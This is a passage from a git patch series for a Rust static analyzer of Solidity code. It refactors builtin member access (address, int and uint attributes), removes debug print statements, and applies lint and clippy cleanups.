Err(ExprErr::MemberAccessNotFound( - loc, - format!( - "Unknown member access on rational: \"{name}\", ctx: {}", - ctx.path(self) - ), - )), - Builtin::DynamicBytes => match name.split('(').collect::>()[0] { - "concat" => { - let fn_node = self.builtin_fn_or_maybe_add("concat").unwrap(); - Ok((ExprRet::Single(fn_node), false)) + "codehash" => { + // TODO: try to be smarter based on the address input + let bn = self.builtin_or_add(Builtin::Bytes(32)); + let cvar = ContextVar::new_from_builtin(loc, bn.into(), self) + .into_expr_err(loc)?; + let node = self.add_node(cvar); + ctx.add_var(node.into(), self).into_expr_err(loc)?; + self.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); + Ok((ExprRet::Single(node), false)) + } + "code" => { + // TODO: try to be smarter based on the address input + let bn = self.builtin_or_add(Builtin::DynamicBytes); + let cvar = ContextVar::new_from_builtin(loc, bn.into(), self) + .into_expr_err(loc)?; + let node = self.add_node(cvar); + ctx.add_var(node.into(), self).into_expr_err(loc)?; + self.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); + Ok((ExprRet::Single(node), false)) + } + "balance" => { + // TODO: try to be smarter based on the address input + let bn = self.builtin_or_add(Builtin::Uint(256)); + let cvar = ContextVar::new_from_builtin(loc, bn.into(), self) + .into_expr_err(loc)?; + let node = self.add_node(cvar); + ctx.add_var(node.into(), self).into_expr_err(loc)?; + self.add_edge(node, ctx, Edge::Context(ContextEdge::Variable)); + Ok((ExprRet::Single(node), false)) } _ => Err(ExprErr::MemberAccessNotFound( loc, format!( - "Unknown member access on bytes: \"{name}\", ctx: {}", + "Unknown member access on address: \"{name}\", ctx: {}", ctx.path(self) ), )), - }, - Builtin::Array(_) => { - if name.starts_with("push") { - if is_storage { - let fn_node = self.builtin_fn_or_maybe_add("push").unwrap(); - Ok((ExprRet::Single(fn_node), true)) - } else { - Err(ExprErr::NonStoragePush( - loc, - "Trying to push to nonstorage array is not supported".to_string(), - )) - } - } else if name.starts_with("pop") { - if is_storage { - let fn_node = self.builtin_fn_or_maybe_add("pop").unwrap(); - Ok((ExprRet::Single(fn_node), true)) - } else { - Err(ExprErr::NonStoragePush( - loc, - "Trying to pop from nonstorage array is not supported".to_string(), - )) - } - } else { - Err(ExprErr::MemberAccessNotFound( - loc, - format!( - "Unknown member access on array[]: \"{name}\", ctx: {}", - ctx.path(self) - ), - )) - } } - Builtin::SizedArray(s, _) => Err(ExprErr::MemberAccessNotFound( - loc, - format!( - "Unknown member access on array[{s}]: \"{name}\", ctx: {}", - ctx.path(self) - ), - )), - Builtin::Mapping(_, _) => Err(ExprErr::MemberAccessNotFound( + } + Builtin::Bool => Err(ExprErr::MemberAccessNotFound( + loc, + format!( + "Unknown member access on bool: \"{name}\", ctx: {}", + ctx.path(self) + ), + )), + Builtin::String => match name.split('(').collect::>()[0] { + "concat" => { + let fn_node = self.builtin_fn_or_maybe_add("concat").unwrap(); + Ok((ExprRet::Single(fn_node), false)) + } + _ => Err(ExprErr::MemberAccessNotFound( loc, format!( - "Unknown member access on mapping: \"{name}\", ctx: {}", + "Unknown member access on string: \"{name}\", ctx: {}", ctx.path(self) ), )), - Builtin::Func(_, _) => Err(ExprErr::MemberAccessNotFound( + }, + Builtin::Bytes(size) => Err(ExprErr::MemberAccessNotFound( + loc, + format!("Unknown member access on bytes{}: {name}", size), + )), + Builtin::Rational => Err(ExprErr::MemberAccessNotFound( + loc, + format!( + "Unknown member access on rational: \"{name}\", ctx: {}", + ctx.path(self) + ), + )), + Builtin::DynamicBytes => match name.split('(').collect::>()[0] { + "concat" => { + let fn_node = self.builtin_fn_or_maybe_add("concat").unwrap(); + Ok((ExprRet::Single(fn_node), false)) + } + _ => Err(ExprErr::MemberAccessNotFound( loc, format!( - "Unknown member access on func: \"{name}\", ctx: {}", + "Unknown member access on bytes: \"{name}\", ctx: {}", ctx.path(self) ), )), - Builtin::Int(size) => { - let max = if size == 256 { - I256::MAX + }, + Builtin::Array(_) => { + if name.starts_with("push") { + if is_storage { + let fn_node = self.builtin_fn_or_maybe_add("push").unwrap(); + Ok((ExprRet::Single(fn_node), true)) } else { - I256::from_raw(U256::from(1u8) << U256::from(size - 1)) - I256::from(1) - }; - match name { - "max" => { - let c = Concrete::Int(size, max); - let node = self.add_node(c).into(); - let mut var = ContextVar::new_from_concrete(loc, ctx, node, self) - .into_expr_err(loc)?; - var.name = format!("int{size}.max"); - var.display_name.clone_from(&var.name); - var.is_tmp = true; - var.is_symbolic = false; - let cvar = self.add_node(var); - ctx.add_var(cvar.into(), self).into_expr_err(loc)?; - self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); - Ok((ExprRet::Single(cvar), false)) - } - "min" => { - let min = max * I256::from(-1i32) - I256::from(1i32); - let c = Concrete::Int(size, min); - let node = self.add_node(c).into(); - let mut var = ContextVar::new_from_concrete(loc, ctx, node, self) - .into_expr_err(loc)?; - var.name = format!("int{size}.min"); - var.display_name.clone_from(&var.name); - var.is_tmp = true; - var.is_symbolic = false; - let cvar = self.add_node(var); - ctx.add_var(cvar.into(), self).into_expr_err(loc)?; - self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); - Ok((ExprRet::Single(cvar), false)) - } - e => Err(ExprErr::MemberAccessNotFound( + Err(ExprErr::NonStoragePush( loc, - format!( - "Unknown type attribute on int{size}: {e:?}, ctx: {}", - ctx.path(self) - ), - )), + "Trying to push to nonstorage array is not supported".to_string(), + )) + } + } else if name.starts_with("pop") { + if is_storage { + let fn_node = self.builtin_fn_or_maybe_add("pop").unwrap(); + Ok((ExprRet::Single(fn_node), true)) + } else { + Err(ExprErr::NonStoragePush( + loc, + "Trying to pop from nonstorage array is not supported".to_string(), + )) } + } else { + Err(ExprErr::MemberAccessNotFound( + loc, + format!( + "Unknown member access on array[]: \"{name}\", ctx: {}", + ctx.path(self) + ), + )) } - Builtin::Uint(size) => match name { + } + Builtin::SizedArray(s, _) => Err(ExprErr::MemberAccessNotFound( + loc, + format!( + "Unknown member access on array[{s}]: \"{name}\", ctx: {}", + ctx.path(self) + ), + )), + Builtin::Mapping(_, _) => Err(ExprErr::MemberAccessNotFound( + loc, + format!( + "Unknown member access on mapping: \"{name}\", ctx: {}", + ctx.path(self) + ), + )), + Builtin::Func(_, _) => Err(ExprErr::MemberAccessNotFound( + loc, + format!( + "Unknown member access on func: \"{name}\", ctx: {}", + ctx.path(self) + ), + )), + Builtin::Int(size) => { + let max = if size == 256 { + I256::MAX + } else { + I256::from_raw(U256::from(1u8) << U256::from(size - 1)) - I256::from(1) + }; + match name { "max" => { - let max = if size == 256 { - U256::MAX - } else { - U256::from(2).pow(U256::from(size)) - 1 - }; - let c = Concrete::Uint(size, max); + let c = Concrete::Int(size, max); let node = self.add_node(c).into(); let mut var = ContextVar::new_from_concrete(loc, ctx, node, self) .into_expr_err(loc)?; - var.name = format!("uint{size}.max"); + var.name = format!("int{size}.max"); var.display_name.clone_from(&var.name); var.is_tmp = true; var.is_symbolic = false; @@ -242,12 +447,12 @@ pub trait BuiltinAccess: Ok((ExprRet::Single(cvar), false)) } "min" => { - let min = U256::zero(); - let c = Concrete::from(min); + let min = max * I256::from(-1i32) - I256::from(1i32); + let c = Concrete::Int(size, min); let node = self.add_node(c).into(); let mut var = ContextVar::new_from_concrete(loc, ctx, node, self) .into_expr_err(loc)?; - var.name = format!("uint{size}.min"); + var.name = format!("int{size}.min"); var.display_name.clone_from(&var.name); var.is_tmp = true; var.is_symbolic = false; @@ -259,12 +464,55 @@ pub trait BuiltinAccess: e => Err(ExprErr::MemberAccessNotFound( loc, format!( - "Unknown type attribute on uint{size}: {e:?}, ctx: {}", + "Unknown type attribute on int{size}: {e:?}, ctx: {}", ctx.path(self) ), )), - }, + } } + Builtin::Uint(size) => match name { + "max" => { + let max = if size == 256 { + U256::MAX + } else { + U256::from(2).pow(U256::from(size)) - 1 + }; + let c = Concrete::Uint(size, max); + let node = self.add_node(c).into(); + let mut var = + ContextVar::new_from_concrete(loc, ctx, node, self).into_expr_err(loc)?; + var.name = format!("uint{size}.max"); + var.display_name.clone_from(&var.name); + var.is_tmp = true; + var.is_symbolic = false; + let cvar = self.add_node(var); + ctx.add_var(cvar.into(), self).into_expr_err(loc)?; + self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); + Ok((ExprRet::Single(cvar), false)) + } + "min" => { + let min = U256::zero(); + let c = Concrete::from(min); + let node = self.add_node(c).into(); + let mut var = + ContextVar::new_from_concrete(loc, ctx, node, self).into_expr_err(loc)?; + var.name = format!("uint{size}.min"); + var.display_name.clone_from(&var.name); + var.is_tmp = true; + var.is_symbolic = false; + let cvar = self.add_node(var); + ctx.add_var(cvar.into(), self).into_expr_err(loc)?; + self.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); + Ok((ExprRet::Single(cvar), false)) + } + e => Err(ExprErr::MemberAccessNotFound( + loc, + format!( + "Unknown type attribute on uint{size}: {e:?}, ctx: {}", + ctx.path(self) + ), + )), + }, } } } diff --git a/crates/solc-expressions/src/member_access/contract_access.rs b/crates/solc-expressions/src/member_access/contract_access.rs index 4be8268c..5406f405 100644 --- a/crates/solc-expressions/src/member_access/contract_access.rs +++ b/crates/solc-expressions/src/member_access/contract_access.rs @@ -33,7 +33,7 @@ pub trait ContractAccess: AnalyzerBackend .linearized_functions(self, false) .into_expr_err(loc)? .into_iter() - .find(|(func_name, func_node)| func_name == name) + .find(|(func_name, _)| func_name == name) { if let Some(func_cvar) = ContextVar::maybe_from_user_ty(self, loc, func.0.into()) { let fn_node = self.add_node(func_cvar); diff --git a/crates/solc-expressions/src/member_access/library_access.rs b/crates/solc-expressions/src/member_access/library_access.rs index 643dbd1c..7b1a7f66 100644 --- a/crates/solc-expressions/src/member_access/library_access.rs +++ b/crates/solc-expressions/src/member_access/library_access.rs @@ -41,9 +41,9 @@ pub trait LibraryAccess: AnalyzerBackend + } /// Get all possible library functions - fn possible_library_funcs(&mut self, ctx: ContextNode, ty: NodeIdx) -> BTreeSet { + fn possible_library_funcs(&mut self, ctx: ContextNode, ty: NodeIdx) -> Vec { tracing::trace!("looking for library functions of type: {:?}", self.node(ty)); - let mut funcs: BTreeSet = BTreeSet::new(); + let mut funcs: Vec = Vec::new(); if let Some(associated_contract) = ctx.maybe_associated_contract(self).unwrap() { // search for contract scoped `using` statements funcs.extend( @@ -62,6 +62,8 @@ pub trait LibraryAccess: AnalyzerBackend + ); } + funcs.sort(); + funcs.dedup(); funcs } } diff --git a/crates/solc-expressions/src/require.rs b/crates/solc-expressions/src/require.rs index 3ce75046..dde81af4 100644 --- a/crates/solc-expressions/src/require.rs +++ b/crates/solc-expressions/src/require.rs @@ -12,10 +12,7 @@ use graph::{ use shared::{ExprErr, IntoExprErr, RangeArena}; use ethers_core::types::I256; -use solang_parser::{ - helpers::CodeLocation, - pt::{Expression, Loc}, -}; +use solang_parser::pt::Loc; use std::cmp::Ordering; From 66da79919abe0cacc1779de89010a235b6817b2a Mon Sep 17 00:00:00 2001 From: brock elmore Date: Sat, 20 Jul 2024 15:31:36 -0700 Subject: [PATCH 29/52] print cleanup --- crates/graph/src/nodes/builtin.rs | 7 ++--- .../src/context_builder/flattened.rs | 15 ++-------- .../src/func_call/internal_call.rs | 28 ++----------------- .../src/member_access/builtin_access.rs | 9 ++---- 4 files changed, 10 insertions(+), 49 deletions(-) diff --git a/crates/graph/src/nodes/builtin.rs b/crates/graph/src/nodes/builtin.rs index f374ebb0..381e24e3 100644 --- a/crates/graph/src/nodes/builtin.rs +++ b/crates/graph/src/nodes/builtin.rs @@ -441,7 +441,7 @@ impl Builtin { pub fn implicitly_castable_to(&self, other: &Self) -> bool { use Builtin::*; - let res = match (self, other) { + match (self, other) { (Address, Address) => true, (AddressPayable, Address) => true, (AddressPayable, Payable) => true, @@ -457,10 +457,7 @@ impl Builtin { (Int(from_size), Int(to_size)) => from_size <= to_size, (Bytes(from_size), Bytes(to_size)) => from_size <= to_size, _ => false, - }; - - println!("{self:?} implicitly castable to {other:?}, res: {res:?}"); - res + } } /// Returns the max size version of this builtin diff --git a/crates/solc-expressions/src/context_builder/flattened.rs b/crates/solc-expressions/src/context_builder/flattened.rs index bc455b69..5f1462ad 100644 --- a/crates/solc-expressions/src/context_builder/flattened.rs +++ b/crates/solc-expressions/src/context_builder/flattened.rs @@ -1429,7 +1429,6 @@ pub trait Flatten: // initiate the loop variable if start > 0 { - println!("running loop init"); for _ in 0..start { self.interpret_step(arena, loop_ctx, loc, stack)?; } @@ -1437,7 +1436,6 @@ pub trait Flatten: // run the condition if condition > 0 { - println!("running loop condition"); for _ in 0..condition { self.interpret_step(arena, loop_ctx, loc, stack)?; } @@ -1445,7 +1443,6 @@ pub trait Flatten: // run the body if body > 0 { - println!("running loop body"); for _ in 0..body { self.interpret_step(arena, loop_ctx, loc, stack)?; } @@ -1453,13 +1450,11 @@ pub trait Flatten: // run the after each if after_each > 0 { - println!("running loop after-each"); for _ in 0..after_each { self.interpret_step(arena, loop_ctx, loc, stack)?; } } - println!("running loop reset vars"); self.flat_apply_to_edges( loop_ctx, loc, @@ -1476,7 +1471,6 @@ pub trait Flatten: let end = ctx.parse_idx(self) + start + condition + body + after_each; - println!("setting post-loop parse idx"); self.modify_edges(ctx, loc, &|analyzer, ctx| { ctx.underlying_mut(analyzer).unwrap().parse_idx = end; Ok(()) @@ -1985,11 +1979,6 @@ pub trait Flatten: .pop_n_latest_exprs(n + 1, loc, self) .into_expr_err(loc)?; - println!( - "function call: {}", - ExprRet::Multi(func_and_inputs.clone()).debug_str(self) - ); - let func = func_and_inputs .first() .unwrap() @@ -2060,7 +2049,9 @@ pub trait Flatten: let inputs = ExprRet::Multi(inputs); - println!("inputs: {}", inputs.debug_str(self)); + if self.debug_stack() { + println!("inputs: {}", inputs.debug_str(self)); + } if is_new_call { return self.new_call_inner(arena, ctx, func, inputs, loc); diff --git a/crates/solc-expressions/src/func_call/internal_call.rs b/crates/solc-expressions/src/func_call/internal_call.rs index 51d34481..cbd5b4aa 100644 --- a/crates/solc-expressions/src/func_call/internal_call.rs +++ b/crates/solc-expressions/src/func_call/internal_call.rs @@ -6,7 +6,9 @@ use crate::{ }; use graph::{ - nodes::{BuiltInNode, ContextNode, ContextVarNode, ContractNode, FunctionNode, StructNode}, + nodes::{ + BuiltInNode, ContextNode, ContextVarNode, ContractNode, ExprRet, FunctionNode, StructNode, + }, AnalyzerBackend, GraphBackend, Node, TypeNode, VarType, }; use shared::{ExprErr, GraphError, NodeIdx}; @@ -82,14 +84,6 @@ pub trait InternalFuncCaller: } } - println!( - "funcs: {:?}", - funcs - .iter() - .map(|i| i.name(self).unwrap()) - .collect::>() - ); - let mut possible_funcs = funcs .iter() .filter(|func| func.name(self).unwrap().starts_with(&format!("{name}("))) @@ -169,14 +163,6 @@ pub trait InternalFuncCaller: ctx.visible_funcs(self)? }; - println!( - "funcs: {:?}", - funcs - .iter() - .map(|i| i.name(self).unwrap()) - .collect::>() - ); - let mut possible_funcs = funcs .iter() .filter(|func| func.name(self).unwrap().starts_with(&format!("{name}("))) @@ -273,14 +259,6 @@ pub trait InternalFuncCaller: } }; - println!( - "potential funcs: {:?}", - possible_funcs - .iter() - .map(|(i, _)| format!("{}", i.name(self).unwrap())) - .collect::>() - ); - let stack = &ctx.underlying(self)?.expr_ret_stack; let len = stack.len(); let mut inputs = stack[len.saturating_sub(num_inputs)..].to_vec(); diff --git a/crates/solc-expressions/src/member_access/builtin_access.rs b/crates/solc-expressions/src/member_access/builtin_access.rs index e6e90dd9..8f599294 100644 --- a/crates/solc-expressions/src/member_access/builtin_access.rs +++ b/crates/solc-expressions/src/member_access/builtin_access.rs @@ -45,17 +45,12 @@ pub trait BuiltinAccess: num_inputs: usize, is_storage: bool, ) -> Result, GraphError> { - println!( - "builtin builtin: {:?}, {name}", - node.underlying(self).unwrap() - ); match node.underlying(self)?.clone() { Builtin::Address | Builtin::AddressPayable | Builtin::Payable => { match name { "delegatecall" | "call" | "staticcall" | "send" | "transfer" => { // TODO: check if the address is known to be a certain type and the function signature is known // and call into the function - println!("here: {name}"); let builtin_name = name.split('(').collect::>()[0]; let func_node = FunctionNode::from(self.builtin_fn_or_maybe_add(builtin_name).unwrap()); @@ -173,14 +168,14 @@ pub trait BuiltinAccess: vec![ FunctionParam { loc: Loc::Builtin, - ty: self_ty.ty_idx(), + ty: inner.ty_idx(), order: 0, storage: None, name: None, }, FunctionParam { loc: Loc::Builtin, - ty: inner.ty_idx(), + ty: self_ty.ty_idx(), order: 0, storage: None, name: None, From 802f52400549cd562c0f79dad7c4621b74e83ada Mon Sep 17 00:00:00 2001 From: brock elmore Date: Sat, 20 Jul 2024 15:32:32 -0700 Subject: [PATCH 30/52] lint --- crates/pyrometer/src/analyzer_backend.rs | 2 +- crates/solc-expressions/src/func_call/internal_call.rs | 4 +--- crates/solc-expressions/src/member_access/builtin_access.rs | 6 +++--- 3 files changed, 5 insertions(+), 7 deletions(-) diff --git a/crates/pyrometer/src/analyzer_backend.rs b/crates/pyrometer/src/analyzer_backend.rs index 37d1b540..df9b1206 100644 --- a/crates/pyrometer/src/analyzer_backend.rs +++ b/crates/pyrometer/src/analyzer_backend.rs @@ -488,7 +488,7 @@ impl AnalyzerLike for Analyzer { let underlying_mut = FunctionNode::from(func_node).underlying_mut(self).unwrap(); let name = underlying_mut.name.as_mut().unwrap(); let full_name = format!("{}({})", name, params_strs.join(", ")); - name.name = full_name.clone(); + name.name.clone_from(&full_name); self.builtin_fn_nodes_mut() .insert(builtin_name.to_string(), func_node); diff --git a/crates/solc-expressions/src/func_call/internal_call.rs b/crates/solc-expressions/src/func_call/internal_call.rs index cbd5b4aa..7135ada4 100644 --- a/crates/solc-expressions/src/func_call/internal_call.rs +++ b/crates/solc-expressions/src/func_call/internal_call.rs @@ -6,9 +6,7 @@ use crate::{ }; use graph::{ - nodes::{ - BuiltInNode, ContextNode, ContextVarNode, ContractNode, ExprRet, FunctionNode, StructNode, - }, + nodes::{BuiltInNode, ContextNode, ContextVarNode, ContractNode, FunctionNode, StructNode}, AnalyzerBackend, GraphBackend, Node, TypeNode, VarType, }; use shared::{ExprErr, GraphError, NodeIdx}; diff --git a/crates/solc-expressions/src/member_access/builtin_access.rs b/crates/solc-expressions/src/member_access/builtin_access.rs index 8f599294..d68264e1 100644 --- a/crates/solc-expressions/src/member_access/builtin_access.rs +++ b/crates/solc-expressions/src/member_access/builtin_access.rs @@ -82,7 +82,7 @@ pub trait BuiltinAccess: storage: None, name: None, }; - let mut inputs = (0..num_inputs) + let inputs = (0..num_inputs) .map(|_| base_input.clone()) .collect::>(); let outputs = vec![FunctionReturn { @@ -120,7 +120,7 @@ pub trait BuiltinAccess: storage: None, name: None, }; - let mut inputs = (0..num_inputs) + let inputs = (0..num_inputs) .map(|_| base_input.clone()) .collect::>(); let outputs = vec![FunctionReturn { @@ -257,7 +257,7 @@ pub trait BuiltinAccess: let underlying_mut = func_node.underlying_mut(self)?; let name = underlying_mut.name.as_mut().unwrap(); let full_name = format!("{}({})", name, params_strs.join(", ")); - name.name = full_name.clone(); + name.name.clone_from(&full_name); self.add_edge(func_node, self.entry(), Edge::Func); From 76fa00da764acd4cc611aa78ea891150269f3362 Mon Sep 17 00:00:00 2001 From: brock elmore Date: Sat, 20 Jul 2024 15:52:18 -0700 Subject: [PATCH 31/52] happy clippy --- crates/analyzers/src/bounds.rs | 35 +++++----- .../graph/src/nodes/context/var/underlying.rs | 6 +- crates/graph/src/nodes/contract_ty.rs | 2 +- .../graph/src/range/elem/elem_enum/arena.rs | 2 +- .../graph/src/range/elem/elem_enum/traits.rs | 16 ++--- crates/graph/src/range/elem/expr/mod.rs | 16 ++--- crates/graph/src/range/elem/mod.rs | 66 ++++++++++--------- crates/graph/src/range/exec/exec_op.rs | 4 +- crates/graph/src/range/range_string.rs | 6 +- crates/pyrometer/src/graph_backend.rs | 1 - crates/solc-expressions/src/bin_op.rs | 3 +- crates/solc-expressions/src/cmp.rs | 8 +-- .../src/context_builder/flattened.rs | 4 +- .../src/func_call/internal_call.rs | 4 +- crates/solc-expressions/src/literal.rs | 1 - crates/solc-expressions/src/require.rs | 12 ++-- 16 files changed, 83 insertions(+), 103 deletions(-) diff --git a/crates/analyzers/src/bounds.rs b/crates/analyzers/src/bounds.rs index 756a1a68..000807c3 100644 --- a/crates/analyzers/src/bounds.rs +++ b/crates/analyzers/src/bounds.rs @@ -9,7 +9,10 @@ use graph::{ use shared::{RangeArena, StorageLocation}; use ariadne::{Color, Fmt, Label, Span}; -use std::collections::{BTreeMap, BTreeSet}; +use std::{ + collections::{BTreeMap, BTreeSet}, + fmt, +}; pub static MIN_COLOR: Color = Color::Fixed(111); pub static MAX_COLOR: Color = Color::Fixed(106); @@ -167,9 +170,9 @@ impl RangePart { pub fn to_normal_string(&self) -> String { match self { - e @ RangePart::Equal(_) => format!(" == {}", e.to_string()), - e @ RangePart::Inclusion(..) => format!(" ∈ {}", e.to_string()), - e @ RangePart::Exclusion(_) => format!("&& ∉ {{{}}}", e.to_string()), + e @ RangePart::Equal(_) => format!(" == {}", e), + e @ RangePart::Inclusion(..) => format!(" ∈ {}", e), + e @ RangePart::Exclusion(_) => format!("&& ∉ {{{}}}", e), } } } @@ -222,16 +225,11 @@ impl From for Label { } } -impl ToString for StrippedAnalysisItem { - fn to_string(&self) -> String { - format!( +impl fmt::Display for StrippedAnalysisItem { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!( + f, "{}{}{}", - // match self.storage { - // Some(StorageLocation::Memory(..)) => "Memory var ", - // Some(StorageLocation::Storage(..)) => "Storage var ", - // Some(StorageLocation::Calldata(..)) => "Calldata var ", - // None => "", - // }, self.name, self.parts .iter() @@ -247,12 +245,13 @@ impl ToString for StrippedAnalysisItem { } } -impl ToString for RangePart { - fn to_string(&self) -> String { +impl fmt::Display for RangePart { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { match self { - RangePart::Equal(inner) => inner.to_string(), - RangePart::Inclusion(min, max) => format!("[ {}, {} ]", min, max), - RangePart::Exclusion(inner) => format!( + RangePart::Equal(inner) => write!(f, "{}", inner), + RangePart::Inclusion(min, max) => write!(f, "[ {}, {} ]", min, max), + RangePart::Exclusion(inner) => write!( + f, "{{{}}}", inner .iter() diff --git a/crates/graph/src/nodes/context/var/underlying.rs b/crates/graph/src/nodes/context/var/underlying.rs index 924bcd9f..0aab388a 100644 --- a/crates/graph/src/nodes/context/var/underlying.rs +++ b/crates/graph/src/nodes/context/var/underlying.rs @@ -76,16 +76,14 @@ impl ContextVar { Ok(ContextVar { loc: Some(loc), name: format!( - "tmp{}({} {} {})", + "tmp{}({} {op} {})", ctx.new_tmp(analyzer)?, lhs_cvar.name(analyzer)?, - op.to_string(), rhs_cvar.name(analyzer)? ), display_name: format!( - "({} {} {})", + "({} {op} {})", lhs_cvar.display_name(analyzer)?, - op.to_string(), rhs_cvar.display_name(analyzer)? ), storage: None, diff --git a/crates/graph/src/nodes/contract_ty.rs b/crates/graph/src/nodes/contract_ty.rs index b51ee77d..4e946351 100644 --- a/crates/graph/src/nodes/contract_ty.rs +++ b/crates/graph/src/nodes/contract_ty.rs @@ -381,7 +381,7 @@ pub struct Contract { pub ty: ContractTy, /// An optional name in the form of an identifier (`(Loc, String)`) pub name: Option, - /// + /// Raw inherited strings, ordered by least base to most base pub raw_inherits: Vec, /// A list of contracts that this contract inherits (TODO: inheritance linearization) pub inherits: Vec, diff --git a/crates/graph/src/range/elem/elem_enum/arena.rs b/crates/graph/src/range/elem/elem_enum/arena.rs index d95967e5..be98e938 100644 --- a/crates/graph/src/range/elem/elem_enum/arena.rs +++ b/crates/graph/src/range/elem/elem_enum/arena.rs @@ -39,7 +39,7 @@ impl RangeArenaLike> for RangeArena> { format!( "{} {} {}", fmt(&expr.lhs, analyzer), - expr.op.to_string(), + expr.op, fmt(&expr.rhs, analyzer) ) } diff --git a/crates/graph/src/range/elem/elem_enum/traits.rs b/crates/graph/src/range/elem/elem_enum/traits.rs index a2faced0..7deabec0 100644 --- a/crates/graph/src/range/elem/elem_enum/traits.rs +++ b/crates/graph/src/range/elem/elem_enum/traits.rs @@ -88,24 +88,18 @@ impl std::fmt::Display for Elem { } Elem::Expr(RangeExpr { lhs, op, rhs, .. }) => match op { RangeOp::Min | RangeOp::Max => { - write!(f, "{}{{{}, {}}}", op.to_string(), lhs, rhs) + write!(f, "{op}{{{lhs}, {rhs}}}") } RangeOp::Cast => match &**rhs { Elem::Concrete(RangeConcrete { val, .. }) => { - write!( - f, - "{}({}, {})", - op.to_string(), - lhs, - val.as_builtin().basic_as_string() - ) + write!(f, "{op}({lhs}, {})", val.as_builtin().basic_as_string()) } - _ => write!(f, "{}({}, {})", op.to_string(), lhs, rhs), + _ => write!(f, "{op}({lhs}, {rhs})"), }, RangeOp::BitNot => { - write!(f, "~{}", lhs) + write!(f, "~{lhs}") } - _ => write!(f, "({} {} {})", lhs, op.to_string(), rhs), + _ => write!(f, "({lhs} {op} {rhs})"), }, Elem::Arena(idx) => write!(f, "arena_idx_{idx}"), Elem::Null => write!(f, ""), diff --git a/crates/graph/src/range/elem/expr/mod.rs b/crates/graph/src/range/elem/expr/mod.rs index 22519975..c6b7ddc7 100644 --- a/crates/graph/src/range/elem/expr/mod.rs +++ b/crates/graph/src/range/elem/expr/mod.rs @@ -33,24 +33,24 @@ impl std::fmt::Display for RangeExpr { fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { match self.op { RangeOp::Min | RangeOp::Max => { - write!(f, "{}{{{}, {}}}", self.op.to_string(), self.lhs, self.rhs) + write!(f, "{}{{{}, {}}}", self.op, self.lhs, self.rhs) } RangeOp::Cast => match &*self.rhs { Elem::Concrete(RangeConcrete { val, .. }) => { write!( f, "{}({}, {})", - self.op.to_string(), + self.op, self.lhs, val.as_builtin().basic_as_string() ) } - _ => write!(f, "{}({}, {})", self.op.to_string(), self.lhs, self.rhs), + _ => write!(f, "{}({}, {})", self.op, self.lhs, self.rhs), }, RangeOp::BitNot => { write!(f, "~{}", self.lhs) } - _ => write!(f, "({} {} {})", self.lhs, self.op.to_string(), self.rhs), + _ => write!(f, "({} {} {})", self.lhs, self.op, self.rhs), } } } @@ -150,9 +150,7 @@ impl RangeExpr { arena: &mut RangeArena>, ) -> Option> { if let Some(idx) = self.arena_idx(arena) { - let Some(ref mut t) = arena.ranges.get_mut(idx) else { - return None; - }; + let t = arena.ranges.get_mut(idx)?; let Elem::Expr(ref mut arenaized) = *t else { return None; }; @@ -171,9 +169,7 @@ impl RangeExpr { arena: &mut RangeArena>, ) -> Option>> { if let Some(idx) = self.arena_idx(arena) { - let Some(ref mut t) = arena.ranges.get_mut(idx) else { - return None; - }; + let t = arena.ranges.get_mut(idx)?; let Elem::Expr(ref mut arenaized) = *t else { return None; }; diff --git a/crates/graph/src/range/elem/mod.rs b/crates/graph/src/range/elem/mod.rs index ab16f641..3e96b203 100644 --- a/crates/graph/src/range/elem/mod.rs +++ b/crates/graph/src/range/elem/mod.rs @@ -13,6 +13,8 @@ pub use map_or_array::*; pub use reference::*; use shared::FlatExpr; +use std::fmt; + #[derive(Clone, Debug, Ord, PartialOrd, Eq, PartialEq)] pub enum MinMaxed { Minimized(Box>), @@ -253,40 +255,40 @@ impl RangeOp { } } -impl ToString for RangeOp { - fn to_string(&self) -> String { +impl fmt::Display for RangeOp { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { use RangeOp::*; match self { - Add(..) => "+".to_string(), - Mul(..) => "*".to_string(), - Sub(..) => "-".to_string(), - Div(..) => "/".to_string(), - Shl => "<<".to_string(), - Shr => ">>".to_string(), - Mod => "%".to_string(), - Exp(_) => "**".to_string(), - Min => "min".to_string(), - Max => "max".to_string(), - Lt => "<".to_string(), - Gt => ">".to_string(), - Lte => "<=".to_string(), - Gte => ">=".to_string(), - Eq => "==".to_string(), - Neq => "!=".to_string(), - Not => "!".to_string(), - And => "&&".to_string(), - Or => "||".to_string(), - Cast => "cast".to_string(), - BitAnd => "&".to_string(), - BitOr => "|".to_string(), - BitXor => "^".to_string(), - BitNot => "~".to_string(), - Concat => "concat".to_string(), - Memcopy => "memcopy".to_string(), - SetIndices => "set_indices".to_string(), - GetIndex => "get_index".to_string(), - GetLength => "get_length".to_string(), - SetLength => "set_length".to_string(), + Add(..) => write!(f, "+"), + Mul(..) => write!(f, "*"), + Sub(..) => write!(f, "-"), + Div(..) => write!(f, "/"), + Shl => write!(f, "<<"), + Shr => write!(f, ">>"), + Mod => write!(f, "%"), + Exp(_) => write!(f, "**"), + Min => write!(f, "min"), + Max => write!(f, "max"), + Lt => write!(f, "<"), + Gt => write!(f, ">"), + Lte => write!(f, "<="), + Gte => write!(f, ">="), + Eq => write!(f, "=="), + Neq => write!(f, "!="), + Not => write!(f, "!"), + And => write!(f, "&&"), + Or => write!(f, "||"), + Cast => write!(f, "cast"), + BitAnd => write!(f, "&"), + BitOr => write!(f, "|"), + BitXor => write!(f, "^"), + BitNot => write!(f, "~"), + Concat => write!(f, "concat"), + Memcopy => write!(f, "memcopy"), + SetIndices => write!(f, "set_indices"), + GetIndex => write!(f, "get_index"), + GetLength => write!(f, "get_length"), + SetLength => write!(f, "set_length"), } } } diff --git a/crates/graph/src/range/exec/exec_op.rs b/crates/graph/src/range/exec/exec_op.rs index 3246510f..0635e324 100644 --- a/crates/graph/src/range/exec/exec_op.rs +++ b/crates/graph/src/range/exec/exec_op.rs @@ -111,7 +111,7 @@ impl ExecOp for RangeExpr { tracing::trace!( "simplifying op: {} {} {}, lhs_min: {}, lhs_max: {}, rhs_min: {}, rhs_max: {}", self.lhs, - 